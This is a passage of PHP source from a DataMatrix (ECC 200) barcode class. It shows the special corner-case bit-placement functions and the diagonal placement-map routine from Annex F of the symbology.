$marr = $this->placeModule($marr, $nrow, $ncol, $row-1, $col, $chr, 5);
$marr = $this->placeModule($marr, $nrow, $ncol, $row, $col-2, $chr, 6);
$marr = $this->placeModule($marr, $nrow, $ncol, $row, $col-1, $chr, 7);
$marr = $this->placeModule($marr, $nrow, $ncol, $row, $col, $chr, 8);
return $marr;
}
/**
* Places the 8 bits of the first special corner case.
* (Annex F - ECC 200 symbol character placement)
* @param array $marr Array of symbols.
* @param int $nrow Number of rows.
* @param int $ncol Number of columns.
* @param int $chr Char byte.
* @return array
* @protected
*/
protected function placeCornerA($marr, $nrow, $ncol, $chr) {
$marr = $this->placeModule($marr, $nrow, $ncol, $nrow-1, 0, $chr, 1);
$marr = $this->placeModule($marr, $nrow, $ncol, $nrow-1, 1, $chr, 2);
$marr = $this->placeModule($marr, $nrow, $ncol, $nrow-1, 2, $chr, 3);
$marr = $this->placeModule($marr, $nrow, $ncol, 0, $ncol-2, $chr, 4);
$marr = $this->placeModule($marr, $nrow, $ncol, 0, $ncol-1, $chr, 5);
$marr = $this->placeModule($marr, $nrow, $ncol, 1, $ncol-1, $chr, 6);
$marr = $this->placeModule($marr, $nrow, $ncol, 2, $ncol-1, $chr, 7);
$marr = $this->placeModule($marr, $nrow, $ncol, 3, $ncol-1, $chr, 8);
return $marr;
}
/**
* Places the 8 bits of the second special corner case.
* (Annex F - ECC 200 symbol character placement)
* @param array $marr Array of symbols.
* @param int $nrow Number of rows.
* @param int $ncol Number of columns.
* @param int $chr Char byte.
* @return array
* @protected
*/
protected function placeCornerB($marr, $nrow, $ncol, $chr) {
$marr = $this->placeModule($marr, $nrow, $ncol, $nrow-3, 0, $chr, 1);
$marr = $this->placeModule($marr, $nrow, $ncol, $nrow-2, 0, $chr, 2);
$marr = $this->placeModule($marr, $nrow, $ncol, $nrow-1, 0, $chr, 3);
$marr = $this->placeModule($marr, $nrow, $ncol, 0, $ncol-4, $chr, 4);
$marr = $this->placeModule($marr, $nrow, $ncol, 0, $ncol-3, $chr, 5);
$marr = $this->placeModule($marr, $nrow, $ncol, 0, $ncol-2, $chr, 6);
$marr = $this->placeModule($marr, $nrow, $ncol, 0, $ncol-1, $chr, 7);
$marr = $this->placeModule($marr, $nrow, $ncol, 1, $ncol-1, $chr, 8);
return $marr;
}
/**
* Places the 8 bits of the third special corner case.
* (Annex F - ECC 200 symbol character placement)
* @param array $marr Array of symbols.
* @param int $nrow Number of rows.
* @param int $ncol Number of columns.
* @param int $chr Char byte.
* @return array
* @protected
*/
protected function placeCornerC($marr, $nrow, $ncol, $chr) {
$marr = $this->placeModule($marr, $nrow, $ncol, $nrow-3, 0, $chr, 1);
$marr = $this->placeModule($marr, $nrow, $ncol, $nrow-2, 0, $chr, 2);
$marr = $this->placeModule($marr, $nrow, $ncol, $nrow-1, 0, $chr, 3);
$marr = $this->placeModule($marr, $nrow, $ncol, 0, $ncol-2, $chr, 4);
$marr = $this->placeModule($marr, $nrow, $ncol, 0, $ncol-1, $chr, 5);
$marr = $this->placeModule($marr, $nrow, $ncol, 1, $ncol-1, $chr, 6);
$marr = $this->placeModule($marr, $nrow, $ncol, 2, $ncol-1, $chr, 7);
$marr = $this->placeModule($marr, $nrow, $ncol, 3, $ncol-1, $chr, 8);
return $marr;
}
/**
* Places the 8 bits of the fourth special corner case.
* (Annex F - ECC 200 symbol character placement)
* @param array $marr Array of symbols.
* @param int $nrow Number of rows.
* @param int $ncol Number of columns.
* @param int $chr Char byte.
* @return array
* @protected
*/
protected function placeCornerD($marr, $nrow, $ncol, $chr) {
$marr = $this->placeModule($marr, $nrow, $ncol, $nrow-1, 0, $chr, 1);
$marr = $this->placeModule($marr, $nrow, $ncol, $nrow-1, $ncol-1, $chr, 2);
$marr = $this->placeModule($marr, $nrow, $ncol, 0, $ncol-3, $chr, 3);
$marr = $this->placeModule($marr, $nrow, $ncol, 0, $ncol-2, $chr, 4);
$marr = $this->placeModule($marr, $nrow, $ncol, 0, $ncol-1, $chr, 5);
$marr = $this->placeModule($marr, $nrow, $ncol, 1, $ncol-3, $chr, 6);
$marr = $this->placeModule($marr, $nrow, $ncol, 1, $ncol-2, $chr, 7);
$marr = $this->placeModule($marr, $nrow, $ncol, 1, $ncol-1, $chr, 8);
return $marr;
}
/**
* Build a placement map.
* (Annex F - ECC 200 symbol character placement)
* @param int $nrow Number of rows.
* @param int $ncol Number of columns.
* @return array
* @protected
*/
protected function getPlacementMap($nrow, $ncol) {
// initialize array with zeros
$marr = array_fill(0, ($nrow * $ncol), 0);
// set starting values
$chr = 1;
$row = 4;
$col = 0;
do {
// repeatedly first check for one of the special corner cases, then
if (($row == $nrow) AND ($col == 0)) {
$marr = $this->placeCornerA($marr, $nrow, $ncol, $chr);
++$chr;
}
if (($row == ($nrow - 2)) AND ($col == 0) AND ($ncol % 4)) {
$marr = $this->placeCornerB($marr, $nrow, $ncol, $chr);
++$chr;
}
if (($row == ($nrow - 2)) AND ($col == 0) AND (($ncol % 8) == 4)) {
$marr = $this->placeCornerC($marr, $nrow, $ncol, $chr);
++$chr;
}
if (($row == ($nrow + 4)) AND ($col == 2) AND (!($ncol % 8))) {
$marr = $this->placeCornerD($marr, $nrow, $ncol, $chr);
++$chr;
}
// sweep upward diagonally, inserting successive characters,
do {
if (($row < $nrow) AND ($col >= 0) AND (!$marr[(($row * $ncol) + $col)])) {
$marr = $this->placeUtah($marr, $nrow, $ncol, $row, $col, $chr);
++$chr;
}
$row -= 2;
$col += 2;
} while (($row >= 0) AND ($col < $ncol));
++$row;
$col += 3;
// & then sweep downward diagonally, inserting successive characters,...
do {
if (($row >= 0) AND ($col < $ncol) AND (!$marr[(($row * $ncol) + $col)])) {
$marr = $this->placeUtah($marr, $nrow, $ncol, $row, $col, $chr);
++$chr;
}
$row += 2;
$col -= 2;
} while (($row < $nrow) AND ($col >= 0));
$row += 3;
++$col;
// ... until the entire array is scanned
} while (($row < $nrow) OR ($col < $ncol));
// lastly, if the lower righthand corner is untouched, fill in fixed pattern
if (!$marr[(($nrow * $ncol) - 1)]) {
$marr[(($nrow * $ncol) - 1)] = 1;
$marr[(($nrow * $ncol) - $ncol - 2)] = 1;
}
return $marr;
}
} // end DataMatrix class
//============================================================+
// END OF FILE
//============================================================+